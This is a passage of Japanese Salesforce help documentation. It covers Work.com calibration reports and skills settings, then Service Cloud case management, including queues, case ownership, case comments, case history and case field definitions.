件を満たすと、自動的に [調整] ドロップダウンリストに表示されます。
• レポートは、[Work.com調整]レポートタイプである必要があります。
• レポートは[サマリーの形式]であり、フィードバック質問名でグルー

プ化された後、さらにフィードバックでグループ化されている必要
があります。

• レコードには次の列が表示される必要があります。
– パフォーマンスサイクル ID

– フィードバック要求 ID

– フィードバック ID

– 件名: ユーザ ID

– 件名: フルネーム (または「件名: 名」と「件名: 姓」)

• レポートは、1 つのパフォーマンスサマリーサイクルのみが表示され
るように絞り込まれている必要があります。

関連トピック:

調整の概要
新規レポートの作成
調整レポートのカスタマイズ
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調整レポートのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

調整には、Work.comライ
センスが必要です。この
ライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

[調整] タブを参照する
• 「Work.com 調整の有

効化」

列および検索条件を追加して、調整レポートを拡張します。
調整レポートでは、Salesforce レポートが使用されます。調整レポート用に、追
加のカスタム列の絞り込みおよび指定を行うことができます。列は指定した順
に表示されます。ただし、レポートの並び替え順は、調整レポートでは適用さ
れません。
1. [調整] タブで、ドロップダウンリストから調整レポートを選択します。
2. [レポートを表示/編集] をクリックします。
3. [カスタマイズ] をクリックします。
4. 必要に応じて、検索条件および列をレポートに追加します。

• 次の列は必須であり、調整レポートから削除できません。
– パフォーマンスサイクル ID

– フィードバック要求 ID

– フィードバック ID

– 件名: ユーザ ID

– 件名: フルネーム (または「件名: 名」と「件名: 姓」)

5. [保存] をクリックします。

例: いくつかの一般的な使用法を次に示します。
• 必要なパフォーマンスサマリーサイクルに対して、パフォーマンスサマ

リーサイクルで絞り込む
• 部門で絞り込んで、部門のレポートを作成する
• 場所で絞り込んで、その場所のレポートを作成する

関連トピック:

レポートによるデータへのアクセス
調整の概要
調整レポートの作成
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パフォーマンスサマリー詳細の更新

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

調整には、Work.comライ
センスが必要です。この
ライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

[調整] タブを参照する
• 「Work.com 調整の有

効化」

パフォーマンスの評価を
編集する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求に対する「作
成」、「参照」、およ
び「編集」

および

パフォーマンスサイク
ルに対する「参照」

調整レポートで、パフォーマンスサマリー詳細を簡単に直接更新します。
更新できるのは、アクセス権があるパフォーマンスサマリーのみです。パフォー
マンスサマリーに対して「すべてのデータの編集」または「すべてのデータの
参照」権限がある場合は、パフォーマンスサマリーを送信する前にその評価を
確認できます。編集可能な項目は、ユーザのマネージャが回答する複数選択肢
の質問のみであり、ピアサマリー、セルフサマリー、スキップレベルサマリー
は含まれません。最終決定し、ユーザと共有するパフォーマンスサマリーでは、
回答を編集できません。
1. [調整] タブで、ドロップダウンリストから調整レポートを選択します。
2. [従業員数のグラフ] セクションで、変更する評価をダブルクリックします。

評価を変更できるのは、送信済みのパフォーマンスサマリーのみです。
3. 新しい値を選択します。
4. [保存] をクリックします

関連トピック:

調整の概要
調整レポートの作成
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調整レポートの詳細のエクスポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

調整には、Work.comライ
センスが必要です。この
ライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

[調整] タブを参照する
• 「Work.com 調整の有

効化」

パフォーマンスの評価を
編集する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求に対する「作
成」、「参照」、およ
び「編集」

および

パフォーマンスサイク
ルに対する「参照」

パフォーマンスサマリーデータは、基本となる調整レポートを使用してエクス
ポートできます。
1. [調整] タブで、調整レポートを選択します。
2. [レポートを表示/編集] をクリックします。
3. [詳細のエクスポート] をクリックします。
4. ファイルの文字コードとファイル形式を選択します。
5. [エクスポート] をクリックします。

関連トピック:

調整の概要
調整レポートの作成
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スキルのカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織のニーズに合わせてスキルオブジェクトおよび支持オジェクトのオブジェ
クト権限を変更できます。
スキルオブジェクトと支持オジェクトを、他のオブジェクトと同じ方法でカス
タマイズします。これには、カスタム項目の追加、ページレイアウトの変更、
トリガ、ワークフローおよび入力規則の追加が含まれます。また、スキルでの
フロート表示をカスタマイズして、特定の標準項目およびカスタム項目を表示
することもできます。

システム管理者は、組織のニーズに合わせてスキルオブジェクトおよび支持オジェクトのオブジェクト権限を
変更できます。たとえば、ユーザがスキルを作成できないようにオブジェクト設定を定義して、システム管理
者が作成したスキルのみを他のユーザに割り当てられるように指定できます。デフォルトで、サポートされて
いるユーザプロファイルではスキルの参照、作成、編集、削除が可能で、システム管理者には「すべてのデー
タの編集」権限と「すべてのデータの参照」権限が割り当てられています。
さらに、システム管理者は、Work.comの [設定] ページで一部のスキルの設定を変更できます。[設定] から、[ク
イック検索] ボックスに「Work.com の設定」と入力し、[Work.com の設定] を選択します。
レコードの詳細ページを使用したスキルと支持の編集

Chatter プロファイルのスキルと支持のインライン編集を無効にします。カスタム必須項目でこれらのオブ
ジェクトをカスタマイズした場合にお勧めします。

メモ: Chatter プロファイルのスキルを使用する場合は、この設定を有効化しないでください。

新規スキル追加時のフィード投稿の生成
ユーザが新しいスキルをプロファイルに追加すると、Chatter フィード投稿が自動的に作成されます。
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推奨スキルの有効化
ユーザの Chatter トピックに基づいてスキルが自動的に推奨されます。

感謝機能とスキル機能の追加レポートおよびダッシュボードを含むパッケージをインストールすることもでき
ます。
• 感謝とスキルのレポートおよびダッシュボード (本番パッケージ)

• 感謝とスキルのレポートおよびダッシュボード (Sandbox パッケージ)

関連トピック:

スキルの概要
スキルの制限事項
オブジェクトの権限
プロファイルでのオブジェクト権限の編集
Work.com の設定の有効化または無効化
Work.com のレポートおよびダッシュボードの概要

スキルの制限事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

スキルおよび支持の動作は特殊であり、制限があります。
次の制限に注意してください。
• スキル機能はコミュニティではサポートされていません。
• すべてのスキルレコードは、スキルに対して「参照」権限を持つユーザに表

示されます。
• スキルユーザレコードと支持レコードを削除できるのは、所有者および「す

べてのデータの編集」権限を持つユーザのみです。
• 削除したスキルに関連付けられているユーザおよび支持を復元するには、ス

キルをごみ箱から取得します。同じ名前でスキルを作成すると、以前の関連
付けが復元されません。

• ユーザは、ユーザ自身ではなく他のユーザのみを支持できます。同じ人が同
じスキルについてユーザを複数回支持することはできません。
システム管理者は、API を介して他のユーザに代わってユーザを支持することができます。

• Chatter が有効であり、スキルおよびスキルユーザに対して「参照」権限がユーザになければ、Chatter プロ
ファイルページにスキルウィジェットを表示できません。

関連トピック:

スキルの概要
スキルのカスタマイズ
Work.com の設定の有効化または無効化
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顧客のサポート

Service Cloud

Service Cloud を使用して顧客に卓越したサービスを提供し、サポートチームの生産性を高めます。

Service Cloud を使用すると、顧客は、Web、メール、電話、ソーシャルメディアなど、どの方法でサポートエー
ジェントと連絡を取るかを選択できるようになります。ケース割り当て、通知、エスカレーション、マイルス
トン、サービス契約などのプロセスを自動化して、サポートエージェントの業務負担を軽減できます。さら
に、チームは統合ヘルプデスクで顧客の各ケースをあらゆる観点から把握し、ツールを利用してケースを迅速
に解決できます。
Trailhead で Service Cloud について学習しましょう!

ケースの管理
ケースは、顧客の質問またはフィードバックです。ケースサポートプロセスをカスタマイズおよび自動化し
て、応答時間を短縮し、顧客満足度の向上を図ります。
• ケースチームの概要
• ケースキューの概要
• レスポンスルールの設定
• エスカレーションルールの設定
• 割り当てルールの設定
• マクロの設定

知識ベース
関連情報をよりすばやく作成、共有、検索して優れたカスタマーサービスを提供できます。
• ナレッジの概要
• ナレッジの設定
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マルチチャネルのサポート
サポートチームへの連絡方法を複数用意して選べるようにし、顧客満足度の向上を図ります。
• Web-to-ケースの設定
• メール-to-ケースの概要
• 質問-to-ケースの設定
• Live Agent の設定
• オムニチャネルの概要
• オンラインコミュニティの概要
• コールセンターの概要
• Open CTI の概要
• ソーシャルカスタマーサービスの概要
• SOS の設定

サポート向けの統合ヘルプデスク
あらゆるサービスチャネルで複数のケースをサポートする、ダッシュボードに似たインターフェースでサポー
トエージェントの生産性を高めます。
• ケースフィードの概要
• Salesforce コンソールの概要
• カスタムコンソールコンポーネントの概要

カスタマーサポート契約
エンタイトルメント管理で保証、サブスクリプション、メンテナンス契約などのサービスレベル契約をまとめ
て、適用します。
• エンタイトルメントの概要
• エンタイトルメント管理の設定
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顧客からの問い合わせの履歴管理

ケース

ケース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースは、顧客の質問またはフィードバックです。サポートエージェントは、
ケースをレビューして、どうすればよりよいサービスを提供できるかを検討で
きます。営業担当は、ケースを使用して、営業プロセスにどう影響するかを確
認できます。ケースに返答することで、顧客満足を維持し、ブランドを強化で
きます。
システム管理者は、顧客が希望する連絡方式からケースを収集するコミュニケー
ションチャネルを設定できます。チャネルには、オンラインフォーラム用のコ
ミュニティ、メール用のメール-to-ケース、Web サイト用の Web-to-ケース、電話
用の Salesforce コールセンターなどがあります。Lightning Experience では使用でき
ないチャネルもあります。
[ケース] ホームページから、ケースの作成、検索、編集に加え、標準およびカス
タムリストビューを使用したケースとキューの並び替えや絞り込みもできます。

ヒント: Salesforce コンソールが設定されている場合、そのダッシュボードの
ようなインターフェースを使用して複数のケースに迅速に返答できます。
エンタイトルメントが設定されている場合、顧客にサポートを受ける資格
があるかどうか、ケースがマイルストン違反に近いかどうかをチェックで
きます。Salesforce to Salesforce が設定されていて、ケースが外部取引先責任
者と共有されている場合、いずれかのリストビューを選択して、ビジネス
パートナーと共有しているケースを表示できます。これらの機能は、Salesforce

Classic でのみ使用できます。

関連トピック:

ケースホームページ
Salesforce コンソール
エンタイトルメント管理とは?

Chatter アンサーの [Q&A] タブの使用
Case Management Implementation Guide (ケース管理実装ガイド)
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ケースホームページ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

ケースを作成する
• ケースに対する「作

成」

[ケース] ホームページから、ケースを作成、検索、および編集できます。
さらに、ケースホームでは、ケースレポートへの移動、ケースの一括削除、ケー
スの取引先責任者の一括メール送信ができます。

関連トピック:

ケース
ケースを処理するためのガイドライン
ケースのクローズ
Salesforce コンソール

ケースリストの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースリストを参照する
• ケースに対する「参

照」

ケースを作成する
• ケースに対する「作

成」

ケースのリストページでは、ケース一覧が現在のビューに表示されます。項目
の絞り込みリストを表示するには、[ビュー] ドロップダウンリストから事前定
義済みのリストを選択するか、[新規ビューの作成]をクリックして、自分専用の
カスタムビューを定義します。作成したビューを編集または削除するには、
[ビュー]ドロップダウンリストからビューを選択し、[編集]をクリックします。
Salesforce コンソールを設定した場合、ナビゲータタブで [ケース] を選択してケー
スリストを参照します ([ケース] が有効な場合)。
• ケースを編集または削除するには、[編集] または [削除] をクリックします。
• ケースの横にある 1 つ以上のチェックボックスをオンにし、ビューの上部に

あるボタンを使用してケースをクローズして、ケースの所有権を取得する
か、ケースの状況または所有者を変更します。

メモ: 赤い矢印が付いているケースは、組織のエスカレーションルールに
よって自動的にエスカレーション済みになっています。

ケースからの所有権の取得
キューにあるケースの所有権を取得するには、キューリストビューを表示し、1

つ以上のケースの横にあるチェックボックスをオンにして、[承認]をクリックし
ます。Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、お
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よび Developer Edition の組織では、共有モデルで許可されている以外の、ケースに対する他のユーザのアクセス
を許可できます。

メモ: オブジェクトに対する組織の共有モデルによって、ユーザがキュー内のそのオブジェクトのレコー
ドに対して持つアクセス権が決まります。
公開/参照・更新・所有権の移行

ユーザは、任意のキューのレコードの所有権を参照し、また、その所有権を得ることができます。
公開/参照・更新可能または公開/参照のみ

ユーザは任意のキューを参照できますが、レコードの所有権が得られるのはユーザがそのキューのメ
ンバーである場合、または、共有設定に従って、ロール階層またはテリトリー階層でキューメンバー
より上位にある場合に限られます。

非公開
ユーザがキューからレコードを参照および引き受けできるのは、ユーザがそのキューのメンバーであ
る場合、または、共有設定に従って、ロール階層またはテリトリー階層でキューメンバーより上位に
ある場合に限られます。

共有モデルに関係なく、ユーザが自分がメンバーであるキューからレコード所有権を取得するには、「編
集」権限を持っている必要があります。Salesforceシステム管理者、ケースに対するオブジェクトレベルの
「すべての編集」権限を持つユーザ、および「すべてのデータの編集」権限を持つユーザは、任意の
キューのレコードやそれらのメンバーシップを参照および取得できます。

関連トピック:

ケース
ケースを処理するためのガイドライン
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複数ケースの変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケース所有者を変更する
• 「ケース所有者の移

行」または「所有権の
移行」

および

ケースに対する「編
集」

ケースの状況をクローズ
および変更する
• 「ケースの管理」

システム管理者は、任意の [ケース一覧] ページから複数のケースを一度に一括
更新できます。ユーザは、そのキューのメンバーの場合、ロール階層またはテ
リトリー階層内でキューのメンバーよりも上位にいる場合、組織のケースに対
する共有のデフォルト設定が [公開/参照・更新・所有権の移行] である場合に、
任意のキューリストビューから 1 つ以上のケースの所有権を取得できます。目
的のケースの横にあるチェックボックスをオンにして、適切なボタンをクリッ
クします。実行できるアクションは次のとおりです。
• 承認 — ユーザはキューリストビューで選択したケースの所有者として割り

当てられます。関連する活動予定もユーザに移行されます。ケースの共有モ
デルが [公開/参照・更新・所有権の移行]ではない組織では、自分がキューの
メンバーであるか、ロール階層でキューのメンバーよりも上位にいる場合に
のみ、そのキューからケースを取得できます。

• 所有者の変更 — 指定した 1 人のユーザまたは 1 つのキューにケースを割り当
てます。関連する活動予定も新しい所有者に移行されます。ケースをキュー
に入れるとき、活動予定は移行されません。
この機能に対し必要なユーザ権限の他に、更新中のケースへの参照共有アク
セス権が必要です。

メモ: ケースの所有権を変更すると、現在のケース所有者が所有する関
連の活動予定の所有権も新しい所有者に移行されます。

• 閉じる — 指定した値を使用して、選択したケースをクローズします。一般
的な [状況] と [理由] を設定し、コメントを追加できます。
この機能を使用するには、「ケースの管理」権限およびケースの参照・更新
共有アクセス権が必要です。

• 状況の変更 — ケースの [状況] を設定した値に変更します。
この機能を使用するには、「ケースの管理」権限およびケースの参照・更新共有アクセス権が必要です。

関連トピック:

ケースを処理するためのガイドライン
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ケースを処理するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

ケース割り当てルール、
ケースエスカレーション
ルール、Web-to-ケース、
およびカスタマーポータ
ルを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

ケースを更新する
• ケースに対する「編

集」

ケースは、顧客の質問またはフィードバックです。ケースに表示される項目と
関連リストは、システム管理者が設定したカスタマイズまたは機能によって決
まります。ここでは、ケースの処理を最大限に活用する方法を説明します。
ケースの更新

取引先責任者を変更するとき、取引先は、取引先責任者の取引先に更新され
ませんが、取引先を自分で編集することができます。
ポータルユーザである取引先責任者には、取引先責任者レコードの取引先に
関連付けられたケースのみが表示されます。
取引先を変更すると、新しい取引先への参照アクセス権のないユーザのケー
スの手動共有は削除されます。
権限が設定されている場合、[メールで取引先責任者に通知する] を選択する
と、ケースを更新したことを取引先責任者に通知できます。メールは、その
取引先責任者へのアクセス権がある場合にのみ送信されます。
権限が設定されている場合、[有効な割り当てルールによりケースを割り当て
る]を選択すると、割り当てルールを使用してケースを再割り当てできます。
ケースがルール条件に一致しない場合、そのケースは組織のデフォルトの
ケース所有者に再割り当てされます。
権限が設定されている場合、[共有] をクリックするとケースを他のユーザ、
グループ、またはロールと共有できます。
権限が設定されている場合、[状況] の下にある [クローズ済み] を選択して
ケースをクローズできます。または、[ケースのクローズ] をクリックし、必
要に応じて項目を変更します。ナレッジ記事の送信が設定されている場合
は、[記事の保存および作成] をクリックして他のユーザが類似のケースをク
ローズするのに役立つ情報を保存できます。送信したドラフト記事が公開されると、ケースに添付されて
知識ベースで利用可能になり、容易に参照できるようになります。
権限が設定されている場合、[Web-to-Case 情報] セクションに、Web サイトのフォームからケースを作成した
顧客が入力した情報が一覧表示されます。

ケース関連リストの使用
メール-to-ケースから作成されたケースに返答し、処理するには、[メール] 関連リストを使用します。
サポートプロセスの必須手順を表示したり、マイルストンの完了日を追加したりするには、[ケースマイル
ストン] 関連リストを使用します。
組織の知識ベースから記事を見つけてケースの解決に役立てるには、[記事] 関連リストを使用します。検
索を開始するには、キーワードを入力します。ケースに関連記事を添付してソリューションを追跡し、他
のユーザによる類似ケースの解決に役立てることができます。添付された記事は、関連リストに表示され
ます。ケースのクローズ中にドラフト記事を作成すると、そのドラフト記事は公開された後、関連リスト
に表示されます。
ソリューション (バージョン 1.0 の記事) を見つけてケースの解決に役立てるには、[ソリューション] 関連リ
ストを使用します。ソリューションカテゴリが設定されている場合、キーワードと一緒にカテゴリを選択
して検索を絞り込むことができます。推奨ソリューションが設定されている場合、[推奨ソリューションの
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参照]をクリックして関連するソリューションを確認できます。ソリューションは、関連性とケースの類似
性に基づいて推奨されます。

Chatter アンサーからケースへの返答 (Lightning Experience では使用不可)

Web コミュニティでの質問から変換されたケースに返信するには、Chatter に似たフィードに返答を入力し
て [顧客への回答] をクリックします。返答は、[ケースコメント] 関連リストで追跡されます。
[公開] とマークされたケースコメントは、Chatter アンサーにカスタマーサポートからの非公開メッセージ
として表示されます。コミュニティ全体には表示されません。たとえば、サポートエージェントが公開ケー
スコメントを追加すると、Chatter アンサーでケースの取引先責任者にのみ非公開メッセージとして表示さ
れます。サポートエージェントはすべての非公開および公開ケースコメントを参照できます。

関連トピック:

ケースの項目
ケース履歴
ケースチーム
ケースコメント
ケースの割り当て
ケースメールとの連動
ケースのマイルストン関連リストの使用
Chatter アンサーの [Q&A] タブの使用

ケースコメント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースコメントを使用して、ユーザおよびサポートエージェントは、ケースに
対して公開または非公開のコメントの追加、編集、削除ができます。すべての
コメントは、[ケースコメント] 関連リストに表示されます。
コメントは非公開にしておくことも、カスタマーポータル、セルフサービスポー
タル、または Chatter アンサーで、ケースの取引先責任者が使用できるように公
開することもできます。顧客がケースにコメントできるようにポータルまたは
Web コミュニティを設定することもできます。ポータルユーザがコメントを追
加すると、ケースの所有者にメールが送信されます。ケースの所有者が確認す
るまで、ケースヘッダーのコメントアイコン ( ) は表示されたままになります。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

関連トピック:

ケースコメントの作成と編集
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ケースコメントの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースコメントを参照す
る
• ケースに対する「参

照」

ケースコメントを追加
し、公開する
• ケースに対する「編

集」または「作成」

他のユーザによって追加
されたケースコメントを
編集または削除する
• ケースに対する「すべ

ての編集」

既存のケースコメントを
編集、削除、または公開
する
• 「ケースコメントの編

集」

ケースコメントは、次の場所から作成または編集できます。
• ケース編集ページの [社内コメント] 項目
• ケース詳細ページの [ケースコメント] 関連リスト

関連トピック:

ケース
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ケース詳細ページのケースコメントの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースコメントを参照す
る
• ケースに対する「参

照」

ケースコメントを追加
し、公開する
• ケースに対する「編

集」または「作成」

他のユーザによって追加
されたケースコメントを
編集または削除する
• ケースに対する「すべ

ての編集」

既存のケースコメントを
編集、削除、または公開
する
• 「ケースコメントの編

集」

1. [ケースコメント] 関連リストで [新規] または [編集] をクリックします。
2. 必要に応じて、[公開] を選択すると、ケースの取引先責任者へのコメント

通知を有効にし、取引先責任者がカスタマーポータルまたはセルフサービス
でコメントを参照できるようになります。

3. [コメント] にコメントを入力します。
4. [保存] をクリックします。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

メモ: Salesforce to Salesforceから外部の取引先責任者に対しケースおよびケー
スコメントを公開すると、ケースを共有するときに、接続先と、すべての
公開ケースコメントを自動的に共有します。コメントの共有を停止するに
は、[非公開] をオンにします。

ヒント:  [ケースコメント] 関連リストで、次の操作を実行できます。
• 既存のコメントを削除するには、[削除] をクリックします。
• カスタマーポータルまたはセルフサービスポータルのコメントの公開状

態を変更するには、[公開]または [非公開]をクリックします。[公開]と
マークされたケースコメントは、Chatter アンサーにカスタマーサポート
からの非公開メッセージとして表示されます。コミュニティ全体には表
示されません。たとえば、サポートエージェントが公開ケースコメント
を追加すると、Chatter アンサーでケースの取引先責任者にのみ非公開
メッセージとして表示されます。サポートエージェントはすべての非公
開および公開ケースコメントを参照できます。

関連トピック:

ケースコメント
ケースコメントの作成と編集
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ケース編集ページのケースコメントの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースコメントを参照す
る
• ケースに対する「参

照」

ケースコメントを追加
し、公開する
• ケースに対する「編

集」または「作成」

他のユーザによって追加
されたケースコメントを
編集または削除する
• ケースに対する「すべ

ての編集」

既存のケースコメントを
編集、削除、または公開
する
• 「ケースコメントの編

集」

1. ケースを作成するには、[ケース] タブの [新規] をクリックします。または、
既存のケースを選択して [編集] をクリックします。

2. [社内コメント] にコメントを入力します。
3. 必要に応じて、[通知メールを送信する]を選択すると、ケースの取引先責任

者に新規の公開コメントが送信されます。
4. [保存] をクリックします。
ケースコメントが作成または更新されると常に、ケース所有者にメールが送信
されます。

メモ: [通知メールを送信する] は、次の場合にケース編集ページに表示さ
れます。
• システム管理者が、[サポート設定] または [セルフサービスポータル設

定]ページで取引先責任者へのケースコメントの通知を有効にしている。
• コメントが [公開] に設定されている。
• ケースに取引先責任者が存在する。
• ケースの取引先責任者が有効なメールアドレスを持っている。

関連トピック:

ケースコメント
ケースコメントの作成と編集
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ケース履歴

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

ケース詳細ページの [ケース履歴] 関連リストでは、ケースに対する変更を追跡
します。ケースの履歴を追跡するように設定した任意の標準項目またはカスタ
ム項目をユーザが編集すると、常に新しい履歴が [ケース履歴] 関連リストに追
加されます。履歴は、変更の日付、時刻、変更内容、変更者で構成されます。
ケースの関連リストに対する変更は、ケース履歴では追跡されません。

メモ: [作成時にクローズ] 項目に対する変更は、Force.com API によって項目
が更新されたときのみ追跡されます。

Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition の組織では、Web-to-ケースやケース割り当てルールまたはエスカ
レーションルールによってケースが自動的に変更された場合、履歴に表示され
るユーザは、[サポート設定] で選択した[自動ケース更新ユーザ]です。

関連トピック:

ケース

ケースの項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ページレイアウト設定と項目レベルセキュリティ設定によって、これらの項目
には表示できないものや編集できないものがあります。

説明項目

ケースがエスカレーションルールに
よってエスカレーションされたことを
示します。ケースがクローズされた
か、エスカレーションルール条件を満
たさなくなると、エスカレーションア
イコンは表示されなくなります。

顧客が Web ポータルからケースにコメ
ントを追加したことを示します。アイ
コンは、ケース所有者がケースを確認
するまで表示されます。

ケースの取引先責任者に関連付けられ
た取引先の名前。ケースを取引先責任

取引先名

者にリンクし、ケースを保存するとき
に、この名前が追加されます。ケース
を更新するとき、別の取引先を追加で
きます。
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説明項目

顧客の商品モデル。編集ページでは、この項目には、
ケースの取引先責任者に関連付けられた納入商品のみ

納入商品

が表示されますが、インライン編集を使用してケース
のすべての納入商品のリストを表示できます。

エスカレーションアクションまたはエンタイトルメン
トプロセスがケースに対して実行された時刻を示しま
す。

営業時間

ケースのすべての通貨金額の通貨。金額はケース通貨
で表示され、ユーザの個人設定の通貨にも変換されま
す。マルチ通貨を使用する組織でのみ使用できます。

ケース 通貨

ケースが属するディビジョン。ディビジョンは、ケー
スの取引先責任者から継承されます。取引先責任者が

ケース ディビジョン

ない場合は、デフォルトのグローバルディビジョンに
設定されます。ディビジョンを使用してデータを分割
している組織でのみ使用できます。

ケースに割り当てられる一意の番号。番号は 1000 か
ら開始します。参照のみですが、システム管理者は形

ケース番号

式を変更できます。ほとんどの場合、ケース番号は連
続して増えていきますが、連続した番号をスキップす
ることもあります。

ケースを所有者するように割り当てられたユーザ。ケース所有者

ケースで使用可能な選択リスト値を決定する項目名。
レコードタイプは、多くの場合サポートプロセスに関
連します。

ケースレコードタイプ

ケースの取引先責任者が Web ポータルからケースを
クローズしたかどうかを示します。この項目は参照の
みです。

セルフサービスユーザによるクローズ

ケースが、作成中に [保存 & 閉じる]ボタンを使用して
クローズされたかどうかを示します。この項目は参照
のみです。

作成時にクローズ

ケースの取引先責任者のメールアドレス。このアドレ
スは、取引先責任者をケースに追加するときに追加さ
れます。この項目は参照のみです。

取引先責任者 メール

ケースの取引先責任者の Fax 番号。この番号は、取引
先責任者をケースに追加するときに追加されます。こ
の項目は参照のみです。

取引先責任者 Fax
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説明項目

ケースの取引先責任者の携帯電話番号。この番号は、
取引先責任者をケースに追加するときに追加されま
す。この項目は参照のみです。

取引先責任者 携帯

ケースの取引先責任者の名前。取引先責任者名

ケースの取引先責任者の電話番号。この番号は、取引
先責任者をケースに追加するときに追加されます。こ
の項目は参照のみです。

取引先責任者 電話

ケースを作成したユーザ。作成日時も含まれます。こ
の項目は参照のみです。

作成者

システム管理者が作成したケースのカスタムリンクの
リスト。

カスタムリンク

ケースがクローズした日時。この項目は参照のみで
す。

クローズ日時

ケースがオープンした日時。この項目は参照のみで
す。

オープン日時

ケースの説明。通常は、顧客の質問またはフィード
バックです。この項目には最大 32 KB のデータを保存

説明

できますが、レポートに表示されるのは最初の 255 文
字のみです。

ケースに追加されるエンタイトルメントの名前。エン
タイトルメントが設定されている場合にのみ使用でき
ます。

エンタイトルメント名

ケースがエンタイトルメントプロセスを開始した時
刻。ケースに対する「編集」権限を持っている場合、

エンタイトルメント処理開始時刻

時刻を更新またはリセットできます。時刻をリセット
する場合、次のようになります。
• 終了または完了したマイルストンは影響を受けま

せん。
• 完了していないマイルストンは、新しい開始時刻

に基づいて調整されます。
エンタイトルメントプロセスがケースに適用される場
合、この項目が表示されます。

ケースがエンタイトルメントプロセスを終了した時
刻。エンタイトルメントプロセスがケースに適用され
る場合、この項目が表示されます。

エンタイトルメント処理終了時刻
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説明項目

ケースに関連する内部メモ。各コメントは、最大 4 KB

のデータを保存でき、[ケースコメント] 関連リストに
社内コメント

表示されます。「公開」とマークされたコメントは
Web ポータルに表示される可能性があります。

マイルストンは、エンタイトルメントプロセスの 1 ス
テップです。エンタイトルメントプロセスがケースに
適用される場合、この項目が表示されます。

マイルストン状況

次のアイコンのいずれかを表示して、ケースのマイル
ストンの状況を示します。

マイルストン状況アイコン

• 適合
• 未処理の違反
• クローズ違反
エンタイトルメントプロセスがケースに適用される場
合、この項目が表示されます。

ケースの関連リスト項目への変更を除き、最後にケー
スを変更したユーザ。この項目には、変更日時も含ま
れます。この項目は参照のみです。

更新者

電話、メール、Web など、ケースのソース。システム
管理者が項目値を設定します。各値には最大 40 文字

発生源

を入力できます。コミュニティからクイックアクショ
ンで作成したケースを編集するときには、発生源を追
加します (デフォルトでは設定されないため)。

ケース階層で、1 つ以上の関連ケースより上位にある
ケース。ケース番号は親ケースを示し、親ケースは、

親ケース

別のケースに追加する前に存在している必要がありま
す。

ケースの緊急度。システム管理者が項目値を設定しま
す。各値には最大 20 文字を入力できます。

優先度

ケースの商品の名前。この項目は、エンタイトルメン
トが商品を含むように設定されている場合にのみ使用
できます。

商品

ケースに関連する [Q&A] タブの質問。この項目は、質
問からケースを作成したか、質問がケースにエスカ
レーションされると入力されます。

質問

ケースが作成された理由。システム管理者が項目値を
設定します。

理由
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説明項目

ケースの状況 (オープン、クローズ済みなど)。システ
ム管理者が項目値を設定します。

状況

ケースのエンタイトルメントプロセスを停止できるよ
うにします。これは、顧客の回答を待機しているとき

中止

